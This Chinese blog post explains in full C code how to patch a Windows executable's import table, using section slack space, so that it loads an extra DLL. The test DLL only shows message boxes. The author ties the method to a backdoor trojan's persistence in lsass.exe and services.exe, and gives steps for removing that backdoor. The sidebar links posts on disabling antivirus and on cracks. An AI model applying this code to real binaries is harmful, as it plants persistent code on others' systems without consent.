修改导入表载入DLL

DLL注入_修改导入表(2) 在内存中查看dll函数 (一) PE内存镜像分析 dll_main.exe NT_HEADERS = E8H IMAGE_BASE(memory) = NT_HEADERS -> IMAGE_OPTIONAL_HEADER32-> ImageBase (NT+34H) E8H + +34H = 11CH ,查看11CH的内容 Offset 0 1 2 3 ... 阅读详情
关于修改EXE文件的导入表,实际上是一个很古老的话题了(如果您是此中高手,请不要在这篇文章浪费时间了,如果您发现了其中的问题,还请多多指教).一些PE相关的软件,也都实现了这样的功能,例如Stud_PE.
    Stud_PE通过添加一个新节并将导入表连同添加的内容一并复制到新节的方法来实现对DLL的导入.
    使用这样的方法只要是PE格式的EXE文件,都可以实现导入DLL的功能,但此方法,实现了通用性,却增加了文件的大小.
    对于存放在磁盘上PE文件,其中存在着大量的空隙,我们知道PE中的数据是按照一定的文件对齐来组织.IMAGE_OPTIONAL_HEADER结构中的FileAlignment成员保存着文件对齐的大小,这个成员是在链接的时候由链接器指定,如果使用VC来编写程序,可以使用link中的/filealign来调整文件对齐的大小.
    这里,就是利用这些空隙来使EXE在启动时载入DLL(类似于一些病毒的技术),同时并不改变文件的大小.如何实现?还是要修改导入表.然而这种方法的缺点也是很明显的,并不是每个EXE都有足够的空间让我们来插入数据,按照我的测试,在Windows 2003 Enterprise sp1中,lsass.exe以及services.exe都是有足够的空间进行插入,而在Windows 2000 Advance Server sp4中,lsass.exe无法插入,services.exe可以插入.这些EXE文件的FileAlignment为0x200H.为什么选择这些exe文件?说到这里我的意图已经很明显了,黑客之门便是利用这种方法实现自启动的木马.
    上面说了堆废话,现在直接贴上代码,具体实现请见程序的注释.这里假定您对PE格式有一定的了解.

//
// Copy from Matt Pietrek
// Given an RVA, look up the section header that encloses it and return a
// pointer to its IMAGE_SECTION_HEADER
//
PIMAGE_SECTION_HEADER
GetEnclosingSectionHeader(
    DWORD rva,
    PIMAGE_NT_HEADERS pNTHeader
)
{
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION32(pNTHeader);
    unsigned i;
    
    for ( i=0; i < pNTHeader->FileHeader.NumberOfSections; i++, section++ )
    {
        // Is the RVA within this section?
        if ( (rva >= section->VirtualAddress) &&
             (rva < (section->VirtualAddress + section->Misc.VirtualSize)))
            return section;
    }
    
    return 0;
}


int
AddImportDll(
    HANDLE hFile,
    DWORD  dwBase,
    PIMAGE_NT_HEADERS pNTHeader
)
{
    //
    // 通过OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
    // 获得导入表的RVA, 利用此RVA找到ImportTable所在的Section,之后计算Offset,公式:
    //     Offset = (INT)(pSection->VirtualAddress - pSection->PointerToRawData)
    // 之后利用Offset来定位文件中ImportTable的位置.
    //
    PIMAGE_IMPORT_DESCRIPTOR  pImportDesc = 0;
    PIMAGE_SECTION_HEADER     pSection = 0;
    PIMAGE_THUNK_DATA         pThunk, pThunkIAT = 0;
    int Offset = -1;

    pSection = GetEnclosingSectionHeader(
        pNTHeader->OptionalHeader.DataDirectory
            [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,
        pNTHeader);
    if(!pSection)
    {
        fprintf(stderr, "No Import Table../n");
        return -1;
    }

    Offset = (int) (pSection->VirtualAddress - pSection->PointerToRawData);

    //
    // 计算ImportTable在文件中的位置
    //
    pImportDesc =
        (PIMAGE_IMPORT_DESCRIPTOR)(pNTHeader->OptionalHeader.DataDirectory
                    [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - Offset + dwBase);
    
    //
    // 取出导入的DLL的个数
    //
    int nImportDllCount = 0;
    while(1)
    {
        if ((pImportDesc->TimeDateStamp==0 ) && (pImportDesc->Name==0))
            break;
        pThunk    = (PIMAGE_THUNK_DATA)(pImportDesc->Characteristics);
        pThunkIAT = (PIMAGE_THUNK_DATA)(pImportDesc->FirstThunk);

        if(pThunk == 0 && pThunkIAT == 0)
                return -1;
        
        nImportDllCount++;
        pImportDesc++;
    }

    //
    // 恢复pImportDesc的值,方便下面的复制当前导入表的操作.
    //
    pImportDesc -= nImportDllCount;

    //
    // 取得ImportTable所在Section的RawData在文件中的末尾地址,计算公式:
    //     dwOrigEndOfRawDataAddr = pSection->PointerToRawData + pSection->Misc.VirtualSize
    //
    DWORD dwEndOfRawDataAddr = pSection->PointerToRawData + pSection->Misc.VirtualSize;

    PIMAGE_IMPORT_DESCRIPTOR pImportDescVector =
        (PIMAGE_IMPORT_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 20 * (nImportDllCount+1));
    if(pImportDescVector == NULL)
    {
        fprintf(stderr, "HeapAlloc() failed. --err: %d/n", GetLastError());
        return -1;
    }
    CopyMemory(pImportDescVector+1, pImportDesc, 20*nImportDllCount);
    

    //
    // 构造添加数据的结构,方法笨拙了点.
    //
    struct _Add_Data
    {
        char    szDllName[256];            // 导入DLL的名字
        int        nDllNameLen;            // 实际填充的名字的长度
        WORD    Hint;                    // 导入函数的Hint
        char    szFuncName[256];        // 导入函数的名字
        int     nFuncNameLen;            // 导入函数名字的实际长度
        int     nTotal;                    // 填充的总长度
    } Add_Data;
    const char szDll[256]  = "test.dll";
    const char szFunc[256] = "Startup";
    strcpy(Add_Data.szDllName, szDll);
    strcpy(Add_Data.szFuncName, szFunc);

    //
    // +1表示'/0'字符
    //
    Add_Data.nDllNameLen  = strlen(Add_Data.szDllName) + 1;
    Add_Data.nFuncNameLen = strlen(Add_Data.szFuncName) + 1;
    Add_Data.Hint = 0;
    //
    // 计算总的填充字节数
    //
    Add_Data.nTotal = Add_Data.nDllNameLen + sizeof(WORD) + Add_Data.nFuncNameLen;

    //
    // 检查ImportTable所在的Section中的剩余空间是否能够容纳新的ImportTable.
    // 未对齐前RawData所占用的空间存放在pSection->VirtualSize中,用此值加上新的ImportTable长度与
    // 原长度进行比较.
    //
    // nTotalLen 为新添加内容的总长度
    // Add_Data.nTotal 为添加的DLL名称,Hint与导入函数的名字的总长度.
    // 8 为IMAGE_IMPORT_BY_NAME结构以及保留空的长度.
    // 20*(nImportDllCount+1) 为新的ImportTable的长度.
    //
    int nTotalLen = Add_Data.nTotal + 8 + 20*(nImportDllCount+1);
    printf("TotalLen: %d byte(s)/n", nTotalLen);
    if(pSection->Misc.VirtualSize + nTotalLen > pSection->SizeOfRawData)
    {
        fprintf(stderr, "No enough space!/n");
        return -1;
    }

    IMAGE_IMPORT_DESCRIPTOR Add_ImportDesc;
    //
    // ThunkData结构的地址
    //
    Add_ImportDesc.Characteristics = dwEndOfRawDataAddr + Add_Data.nTotal + Offset;
    Add_ImportDesc.TimeDateStamp = -1;
    Add_ImportDesc.ForwarderChain = -1;
    //
    // DLL名字的RVA
    //
    Add_ImportDesc.Name = dwEndOfRawDataAddr + Offset;
    Add_ImportDesc.FirstThunk = Add_ImportDesc.Characteristics;

    CopyMemory(pImportDescVector, &Add_ImportDesc, 20);

    //
    // 对文件进行修改
    //
    DWORD dwBytesWritten = 0;
    DWORD dwBuffer = dwEndOfRawDataAddr + Offset + Add_Data.nTotal + 8;
    long  lDistanceToMove = (long)&(pNTHeader->OptionalHeader.DataDirectory
        [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) - dwBase;
    int nRet =0;

    //
    // 修改IMAGE_DIRECTOR_ENTRY_IMPORT中VirtualAddress的地址,
    // 使其指向新的导入表的位置
    //
    SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);

    printf("OrigEntryImport: %x/n", pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
    if(!nRet)
    {
        fprintf(stderr, "WriteFile(ENTRY_IMPORT) failed. --err: %d/n", GetLastError());
        return -1;
    }
    printf("NewEntryImport: %x/n", pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    //
    // 修改导入表长度,这个部分具体要修改为多少我也没弄明白,不过按照测试,改与不改都可以工作
    //
    dwBuffer = pNTHeader->OptionalHeader.DataDirectory
        [IMAGE_DIRECTORY_ENTRY_IMPORT].Size + 40;
    nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
    if(!nRet)
    {
        fprintf(stderr, "WriteFile(Entry_import.size) failed. --err: %d/n", GetLastError());
        return -1;
    }

    //
    // 修改ImportTable所在节的长度
    //
    lDistanceToMove = (long)&(pSection->Misc.VirtualSize) - dwBase;
    SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
    dwBuffer = pSection->Misc.VirtualSize + nTotalLen;
    nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
    if(!nRet)
    {
        fprintf(stderr, "WriteFile(Misc.VirtualSize) failed. --err: %d/n", GetLastError());
        return -1;
    }

    //
    // 从节的末尾添加新的DLL内容
    // 偷点懒,返回值就不检查了..
    //
    lDistanceToMove = dwEndOfRawDataAddr;
    SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
    nRet = WriteFile(hFile, Add_Data.szDllName, Add_Data.nDllNameLen, &dwBytesWritten, NULL);
    nRet = WriteFile(hFile, (LPVOID)&(Add_Data.Hint), sizeof(WORD), &dwBytesWritten, NULL);
    nRet = WriteFile(hFile, Add_Data.szFuncName, Add_Data.nFuncNameLen, &dwBytesWritten, NULL);
    dwBuffer = dwEndOfRawDataAddr + Add_Data.nDllNameLen + Offset;
    nRet = WriteFile(hFile, (LPVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
    dwBuffer = 0;
    nRet = WriteFile(hFile, (LPVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
    nRet = WriteFile(hFile, (LPVOID)pImportDescVector, 20*(nImportDllCount+1), &dwBytesWritten, NULL);

    HeapFree(GetProcessHeap(), 0, pImportDescVector);
    return 0;
}

下面是测试用的DLL代码.
#include <windows.h>
#pragma comment(lib, "user32")

#define __DLL_EXPORT extern "C" __declspec(dllexport)

__DLL_EXPORT void Startup();

BOOL
WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpvReserved
)
{
    switch(fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, "Hook Ok!", "info", MB_OK);
        break;

    case DLL_THREAD_ATTACH:
        break;

    case DLL_PROCESS_DETACH:
        break;

    case DLL_THREAD_DETACH:
        break;
    }

    return TRUE;
}


__DLL_EXPORT void
Startup()
{
    MessageBox(NULL, "Startup()", "info", MB_OK);
}

    这段代码还有些问题,一些EXE文件并不能保证在修改后正确的运行,如何解决?如果您对此感兴趣,请动手来寻找答案吧.
    说点题外话,如果您的系统不幸中了黑客之门,并且您的手头没有windows安装光盘或者DLLCACHE中也没有备份的话.首先要找到被修改的exe文件,之后建立一个备份用Stud_PE打开这个备份,在"头部"标签中"更多"下拉菜单中选IMAGE_DIR_ENTRY_DEBUG,这时,下拉菜单下面的两个对话框中会有两个值,这两个值就是黑可之门修改之前原始的导入表的位置.用这两个值替换"导入表"后面的内容,之后选"保存到文件",退出Stud_PE用inuse替换,重启之后删除后门dll便可以了.

使用工具:
    hkdoordll.dll(1.1版本)
    Stud_PE 2.0.0.1
    dumpbin.exe

参考资料:
    《Windows 95 System programming SECRETS (中译本)》

By CDrea
http://www.safechina.net
CDrea@safechina.net
WindowsPE文件格式入门04.导入表 从下图可以看出导入表的地址是内存偏移从节表可以看出,内存偏移2000的地方,对应得文件偏移是 600 ,因此内存偏移位 002010的地址对应的文件偏移为610遍历函数的时候,如果 NAME 或者 IAT 为 0,则遍历结束如果 NAME 或者 IAT 都不为0 情况下如果 INT 不存在,那么加载函数就会用 IAT 表如果 INT 存在,那么加载函数就会用 INT 表,但是会检查 IAT 表第一项是否为0, 0就结束。 阅读详情

相关推荐

滴水逆向——PE打印导入表

1.导入表数据结构 2.PE文件载入内存前后导入表变化 3.打印步骤 4.一张图体会重定位表和导入表关系 DLL_A加载的基址本来是400000,但是被.exe占用了基址400000处,所以它的基址变为了1000000处。这时重定位表的作用就是改变DLL_A中要寻找各函数的Roa,具体操作就是Roa-原基址(400000)+现基址(1000000),这...

sunr. 909

通过修改PE文件的方式导入DLL(包含详细操作流程)

我们需要修改IDT表,增加一条我们字节DLL文件的IID以达到导入的目的。在NT头下IMAGE_DATA_DIRECTORY_ARRAY结构体,找到导入表,导入表第一个参数的值便为IDT的RVA RVA是程序的相对虚拟地址,我们要想在文件中精确定位IDT,必须要把RVA转位RAW,在上图中也叫FOA(文件偏移,文件中某个位置距离文件头的偏移),具体的计算公式:84CCh属于.rdata节区,VirtualAddress 和PointerToRawData可从节区头中获取。 VirtualAddress 是指

fanxiaoyao1的博客 1987

PE(64位)文件之导入表

导入表是PE文件中一个重要的表项,负责声明从其他的库中调入函数。一般代表着这个PE文件使用了哪些其他库的函数。 首先我们先了解下几个名词: PE文件:PE结构的文件,一般为可执行程序,.exe、.dll、.sys、.vxd、.ocx、.com等。 VA(Virtual Address): 虚拟地址,代表着PE文件映射进内存之后的地址。 RVA(Reverse Virtual Address):相对虚拟地址,对于PE文件映射进内存之后相对基地址偏移。 FOA(File Offset Addres..

玄道的网安博客 2091

PE 通过导入表注入 Dll

导入表注入,当程序被加载时,系统会根据程序导入表信息来加载需要用到的dll,导入表注入的原理就是修改程序的导入表,将自己的dll添加到程序的导入表中,这样程序运行时可以将自己的DLL加载到程序的进程空间。...

多一份贡献,多一份环保 1293

延迟载入DLL

延迟载入DLL

KOOKNUT的博客 697

Cadence Other格式网表导出与导入ortelesis.dll

Cadence支持两种方式的网表导出与导入: 一、Orcad Captrue网表导出,导入Allegro 二、Other格式的网表导出,导入Allegro 第一种方式是在Orcad的Toos->Create Netlist->PCB Editor页面进行设置: 然后在Allegro的File->Import->Logic的Cadence页进行导入: 这种方式是比较正...

tianpu2320959696的博客 3301

注入技术--修改pe文件导入表进行注入

1.修改导入表,即添加一个新的导入表描述符及其iat,int. 这样系统加载该pe文件时将自动加载添加的dll,从而实现dll注入 2.思路: 可以手工修改,但是复杂程度一点也不比写代码低,而且低效. 通过代码实现可以一劳永逸. 新增一个节来存储新的导入表. 其实也可以在原来的pe文件找空隙插入进去,但是又很难实现通用,因为不同的pe文件空隙位置大小不同.容易出错 新增的导入表描述符通过序...

weixin_30849403的博客 604

别再手动下单了!用Python+EasyTrader+同花顺,5分钟搞定你的第一个自动化交易机器人

本文详细介绍了如何使用Python和EasyTrader结合同花顺客户端快速构建自动化交易机器人。从环境配置到实战脚本编写,涵盖自动打新、条件单、跟单策略等核心功能,并分享性能优化与风险控制技巧,帮助投资者高效实现自动化交易。

weixin_30381317的博客 398

PE格式解析-区段表及导入表结构详解

PE格式区段表与导入表的结构详解

走在成长的路上 1万+

figma MCP + cursor如何将设计稿生成前端页面

Figma MCP配置与代码生成指南 本文详细介绍了如何在Cursor中配置Figma MCP(多上下文处理器)的完整流程:从获取Figma API密钥、设置MCP服务器配置,到添加代码生成规则。关键步骤包括生成Figm a个人访问令牌、配置cursor settings文件、启用MCP服务,以及设置代码规则(包含TypeScript/Vue技术栈规范、BEM命名规则等)。最后提供了将Figma设计稿转化为Vue页面的prompt模板,涵盖文件结构、图片处理、样式规范等具体要求,确保生成代码与设计稿高度一致

weixin_45644355的博客 2908

华为OD机试真题 新系统 2026-04-19 C语言 实现【8位LED控制器】

有一个8位LED控制器,包含8个LED灯(编号0-7),初始状态全灭,用8位二进制表示为:00000000。控制器可以接收以下三种指令: Lx:L表示点亮操作,x表示LED的编号(0一7),操作得到的结果是:点亮第x个LED灯,把状态设为1。 Dx:D表示熄灭操作,x表示LED的编号(0-7),操作得到的结果是:熄灭第x个LED灯,把状态设为0。 Tx:T表示切换操作,x表示LED的编号(0-7),操作得到的结果是:切换第x个LED灯的状态,若状态为0则变为1,为1则变为0。 现在给定一组指令字符串(0<

MISAYAONE的博客 148

利用导入表劫持实现DLL注入以干掉杀毒软件

DLL注入:使用,将DLL路径写入目标进程并创建远程线程。Shellcode注入:将恶意代码写入目标进程,通过或执行。APC注入:利用异步过程调用队列,在目标线程处于可警告状态时执行代码。:创建挂起进程后替换其内存映像。导入表劫持:修改PE文件的导入表(Import Address Table, IAT),使进程加载时自动引入指定DLL。其中,APC注入和远程线程注入是安全软件重点监控的对象,通常会检查获取的句柄权限以及调用。

2503_90751938的博客 394

让 ABAP 程序天生可翻译:Text Symbols 与 Text Pool 从入门到工程化落地

ABAP 国际化实践:Text Symbols 的工程价值与落地方法 摘要: 本文系统阐述了 ABAP 开发中 Text Symbols 的核心价值与实践方法。通过解耦程序逻辑与语言文本,Text Symbols 实现了代码国际化,避免了硬编码带来的维护难题。文章详细介绍了 Text Pool 结构、两种引用方式(独立引用 TEXT-001 和附着式 '(001)'),以及 SE38 和 SE63 的翻译流程。特别强调最大长度预留、术语统一等工程实践,并提供了 READ TEXTPOOL 自动化检查方案。最

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 238

修改IAT,HOOK API

////write by Gxter////本程序是用寻找并修改(Improt Address Table)的方法来实现HOOK一个API函数#include #include #include #define  UNICODE#define  _UNICODEPIMAGE_DOS_HEADER  pDosHeader;PIMAGE_NT_HEADERS  pNTHeaders;PIMAGE_OP

3430

【异常】Openclaw Gateway进程异常停止问题分析与解决方案

本文分析了Gateway服务异常停止的问题,提出了三种解决方案。核心问题是缺乏进程守护和自动恢复机制,导致服务崩溃后无法自行重启。推荐方案是使用PM2进程管理工具(方案1),提供进程监控、自动重启和开机自启功能。替代方案包括自定义守护脚本(方案2)和supervisord管理(方案3)。这些方案都能有效解决当前服务脆弱性问题,显著提升服务可用性,其中PM2方案成熟度高、配置简单,是首选解决方案。实施后可将服务从人工干预转变为自动恢复,确保业务连续性。

奶爸的编程之路,也就一周冷个三天 457

实验三、数字PID控制器的设计

由图可知,由于微分环节的作用,在曲线的起始上升段出现了一个尖锐的波峰,之后曲线也呈衰减的振荡:随着Td增加,系统的超调量增大,但曲线尖锐的起始上升阶段后响应速度减慢,可以看出Td越小。对大多数算法,缩短采样周期可使控制回路性能改善,但采样周期缩短时,频繁的采样必然会占用较多的计算工作时间,同时也会增加计算机的计算负担,而对有些变化缓慢的受控对象无需很高的采样频率即可满意地进行跟踪,过多的采样反而没有多少实际意义。随着Kp的增加,闭环系统的超调量增加,响应速度加快,控制时间加长,稳态误差减少;

m0_51738372的博客 8023

DLL系列5.延迟载入DLL

基本概念   为了让DLL更易于使用, Microsoft Visual C++提供了一个很棒的特性,即延迟载入DLL。一个延迟载入的DLL是隐式链接的,系统一开始不会将该DLL载入,只有当我们的代码试图去引用DLL中包含的一个符号时,系统才会实际载入该DLL。延迟载入DLL在下列情况下非常有用。 如果应用程序使用了多个DLL,那么它的初始化可能会比较慢,因为加载程序要将所有必需的DLL映射到进...

阿兵-AI医疗的专栏 1088

CANoe如何实现TLS协议

TLS,Transport Layer Security,传输层安全协议。是在传输层和应用层之间,为了保证应用层数据能够安全可靠地通过传输层传输且不会泄露的安全防护。

jasonj333 1161

导入表和绑定导入

导入表 概述 导入表是用来存储应用程序需要的利用的模块以及模块内的函数的结构。记录了模块的信息和函数的信息。 结构 typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; DWORD OriginalFirstThunk; //指向IMAGE_THUNK_DATA结构 }; DWOR

weixin_43990313的博客 475

风电功率预测 | 基于RF随机森林的风电功率预测(附matlab完整源码)

风电功率预测 | 基于RF随机森林的风电功率预测(附matlab完整源码)

天天酷科研的博客 896

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

Windows Ring3层注入——修改PE输入表(导入表)注入(一)

Windows Ring3层注入——修改PE输入表(导入表)注入(一)PE文件简单介绍PE文件相关名词解释PE文件磁盘与内存映像结构图输入表介绍输入表结构输入表注入原理PE输入表注入的两种方法静态修改PE文件法:进程创建期修改PE输入表法:输入表注入核心代码示例 PE文件简单介绍 PE(Portable Execute)文件是Windows下可执行文件的总称,常见的有DLL,EXE,OCX,SY...

qq_38493448的博客 1655

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

Windows DLL的生成与使用

DLL基础部分 通过对函数前加前缀:__declspec(dllexport) 或__declspec(dllimport),表明函数或类是导出到DLL,还是从DLL中导入。但在C++中,通过编译会改变函数名称,可以通过如下的宏进行更正,但过程比较繁琐,不适用于大批量改变函数名称的情况。 #pragma comment(linker, "export:Myfun=MyFun@8" ...

Sudouble的专栏 2127

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

修改PE文件注入dll

修改思路 PE文件中导入dll信息以结构体列表形式存储在IDT中。只要将myhack.dll添加到列表尾部即可。 IDT结构 IDT的描述在IMAGE_OPTION_HEADER里面的IMPORT Table,通过size可以确定是否有足够的空间让我们添加 IDT是由IMAGE_IMPORT_DESCRIPTION(简称IID)结构体组成的数组,数组末尾以NULL结构体结束。每个IID结构体为0...

九层台 4640

ctf-wiki 实战:DLL 文件脱壳全流程(LordPE 修改 DLL 标志 + 手动 IAT 重建)

本篇是 ctf-wiki 逆向脱壳系列中针对 **DLL(动态链接库)文件脱壳** 的实战指南。与普通 EXE 不同,DLL 无法被直接运行,其 PE 头的 `DLL` 特征标志会阻止调试器按常规方式加载,因此脱壳的第一步必须借助 LordPE 修改 PE 特征值、将 DLL 临时伪装成可执行文件,再经过 OllyDbg 动态调试、手动定位 IAT 并配合 ImportREC 重建导入表,最终恢复

gitblog_00759的博客 1000

DLL注入与隐藏的学习

本篇要讲什么?小白看了要问,DLL是啥?为啥要注入?又干嘛隐藏?而大佬直接 我当然是菜鸡,所以我们一起来学习一下这dll到底是神魔东西,他有什么神奇之处。 一、DLL简介 定义:动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。在Windows中,这种文件被称为应用程序拓展。例如,在 Windows 操作系统中,Comdlg32.dll 执行与对话框有关的常见函数。因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开

weixin_43781139的博客 8005
上一篇: [转载]合并 DLL
下一篇: 挂钩Windows API[zt]
CDrea
博客等级 码龄23年 1粉丝 11原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值